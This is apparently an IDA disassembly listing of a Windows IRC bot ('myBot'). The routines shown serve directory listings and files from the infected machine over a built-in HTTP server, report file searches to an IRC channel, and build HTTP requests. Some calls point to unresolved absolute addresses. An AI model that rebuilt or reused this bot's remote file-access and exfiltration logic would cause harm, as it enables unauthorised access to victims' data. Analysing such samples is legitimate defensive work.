		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A0A0 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2680DD8h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_4341A0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2700842h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730B5Dh
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 26608E1h
		nop


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43416C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC
		call	near ptr 2680932h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434134
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25E0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 2760000h
		nop
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 274095Fh
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		call	near ptr 2670EC7h
		nop


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2760000h
		nop
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2700842h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		call	near ptr 2730B5Dh
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438128o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043813Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 26608E1h


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB654
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
